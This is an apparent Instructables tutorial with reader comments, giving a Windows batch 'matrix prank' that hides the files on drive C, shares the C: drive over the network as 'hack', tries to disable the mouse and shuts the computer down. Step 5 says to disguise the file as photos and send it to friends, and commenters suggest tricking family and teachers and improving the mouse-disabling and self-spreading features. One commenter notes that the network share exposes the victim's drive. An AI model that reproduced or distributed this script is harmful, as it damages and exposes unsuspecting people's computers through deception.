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In this Instructables, we will make batch file that will shutdown your computer and send a few messages about the matrix, rather bland and could be worked on a little bit more. Someone could tweak it a little and perhaps, change the DOS text to green.

Step 1: Open Notepad

First of all in making Vb Script is that you open Notepad. To open it:

1) Click on the "Start" button.

2) Point to "All Programs".

3) Point to "Accesories".

4) Find and click "Notepad".

Step 2: Encoding

Copy the code below:

@ Echo off
Title Matrix
msg * The matrix has you, you can not escape
rundll32.exe disable mouse
Attrib +h C:*.*
echo deleting harddrive
echo 1001101010101011111111101010101
echo 010101010101010101010101010111
assoc
assoc
Attrib C:Documents and settings*.*
net share hack=C:
shutdown -s -c 60

To copy it: first highlight the codes then press CTRL (Hold until C has not yet pressed) then C.

After copying the codes, paste it on the Notepad.

Step 3: Save the Batch

To save the codes you pasted:

1) On the "Menu" bar, go to "File".

2) Then choose "Save As...".

Save As dialog box will appear. Simply type computer_robot.bat on the File name textbox.

Step 4: Test the Batch

Run the batch file to test if it really works. If worked then your computer will shutdown. And do something strange.

Ahhhhhhhhhhhhhhhhhhhhhhhhh!

Step 5: Spread the Batch

Send the batch to your friends. Say that the file has many photos of pretty girls to force them to open. You may rename the batch file computer_robot.bat into prettypark.bat

If they opened it. IT'S THEIR FREAKY DAY!
O.K., Now that I've tested it out, HOW DO I GET MY STUFF BACK?!
<p>You need to go to folder properties and select show hidden files and then you will see all your files</p>
This batch deleted icons on my desktop... What do I do???!!! HELP!<br />
<p>It changed it so they are hiding!</p>
is it possible to disable the deleting prossess IN the batch itself? <br>
<p>In the Code it is not deleting any files </p><p>When you see 'echo' that tells the UI or user to say what comes after it</p><p>for example: echo Hello!</p><p>Results: Hello!</p><p>but in the code it does say to disable the mouse: rundll32.exe disable mouse But I do not think that will work that part of the code... But this code seems to be geared for apearence </p>
how do you send it to people?
&nbsp;Never mind... On mine, it made some of my icons hidden... like hidden files
whats all this stuff about deleting all your stuff?! is this some kind of joke? cos im going to use it on my mates only if it dosnt delete there stuff though
or, if you are sending it to family, you can say they are pictures of the family on vacation!
or send it to a school teacher, and say its the assignment you wanted them to see
&nbsp;Yeah. They totally wont notice that outlook doesnt allow it to be opened because of 'malicious software.'<br /> I actually dont know if you teachers use microsoft outlook, but mine do. So its not like i can do that.<br /> <br />
if you truly are a 1337 h4x0r, then you will find a way &gt;:D<br />
i made a uhm matrix that actually has like 500 repeating random strings, i might add it to this just for more realistic giggles.
Yes, you can get out of it by holding <ctrl> and pressing c.
how do u run it just open it?
yep
Is there any way to get out of it?
its not working for me ive put in exactly the code above and all it does is delete my stuff on desk top
true where can i find the stuff that were on my destkop
if it was the batch that deleted them then you wont be seeing you files again
never just great goddamned there was really impotant stuff on my destkop jippie lost the most important things
they're just hidden in vista go to control panel and select folder options select views tab and select show hidden files or xp on like my computer/my documents or whatever and select tools then folder options then select views tab and select show hidden files
yes but if they are system hidden then that still wont show them
it will if you set it show them
not if there system hidden though they can't show
yes it can
woooow =P<br/>just set them to display =D<br/><br/>Thanks Indiana jones<br/><br/>P.S sorry for Doubting you<br/>
soz for your loss
This program doesn't delete things; it only hides them. In the script, find this command: Attrib +h C:*.* Type this into Command Prompt/RandomFile.bat, but replace "+h" with "-h" (Attrib -h C:*.*). It should give you back your icons, documents, and other things back. It worked when I tried it.
in some states it is illegal to send a batch file over the internet. so you can convert it to a executable file with regedit
the shutdown command at the end of you coding ( shutdown -s -c 60) shouldnt that be (shutdown -s -t 60) im assuming you have tried to put a 60 second timer on the shut down i have found that the -c command was for putting a message in the dialog box that appears during the shutdown timer. so it would be (shutdown -s -t 60 -c "what ever your text is to be") ive only just started with all this just a observation and if i have got this wrong please someone let me know.
Its right i used to pretty good in batch before i upgraded to linux
Cant Ever clearly see the images
Nice virus, but the command rundll32.exe disable mouse won't work. (see picture)
RUNDLL MOUSE,DISABLE works!
how do you get it to work?
I just took it out. If you want, you can replace it with a command that will turn off the victim's icons and other user-interface items (this looks better than no mouse), or you can use NirCMD (google it) to create a little mini-.bat that will use NirCMD to reset the mouse every few milliseconds at the point of your choosing (this looks really cool; thank you, Shadow Ops), and then use your virus to install and start the mini-.bat (thank you, iRule). Or just hope your victim is freaked and doesn't think to exit the program.
is there a command that will work and disable the mouse?
yes there is you would need to find the program that controls it in the taskmanager. and the you will need to use command prompt to disable it like this taskkill /pid "enter the name here "
A) Do you have any idea what the mouse-application in TM would be labeled? B) What would adding "/pid" do to taskkill? C) While googling "end mouse application", I found the script for a real batch virus that uses "rundll32.exe mouse, disable" and "rundll32.exe keyboard, disable". I haven't tried them yet, but I thought I'd mention it.
thnx
i am really sry but this is not a virus<sup>they self spred</sup>(i cant spell good)<br/>
Very true, but it comes down to this: you design a new weapon. Are you going to call it the "A-54345X", or something like the "Hellhound"? "Virus" just sounds more interesting and exciting than "Computer Prank", and there's no law against it. I don't give a care about political correctness and things related if with it. I call things by what I associate them with: hence, I simply call programs of this sort "viruses". As for a self-replicating "virus", I'm working on it.
I just wanted you to know<sup>do not do a 'ible on the virus though bad idea</sup><br/>
"First of all in making Vb Script is that you open Notepad." Not VB Script but batch.
Wow, this is the first "funny batch virus" 'ible I've seen that actually does bad things. Congratz? Also, don't run this if you don't know what it will do and how to fix it, it will only end in pain for you.
to get your stuff back just make a batch file with the code: @echo OFF attrib -h C:\Documents And Settings\*.*
Ooh I hope none of you ran this on your PC's, the real coders can easily recognize what this does, but the rest of you are in trouble! Your computers are shared to the world and I'm reading your emails as you're reading this message...<br/><br/>No seriously, the writer of this batch file just obscured the dangerous commands with drivel. &quot;Attrib&quot; hides all your files in the root of your C-drive, and &quot;net share&quot; shares your C-Drive under the name 'hack'.<br/><br/>If you don't understand <strong>each and every line in that batch file</strong>, you're stupid by running it. The only PC you will hack is your own, you guys are being played like so many fiddles! <br/>
isn't that bad for the computer?

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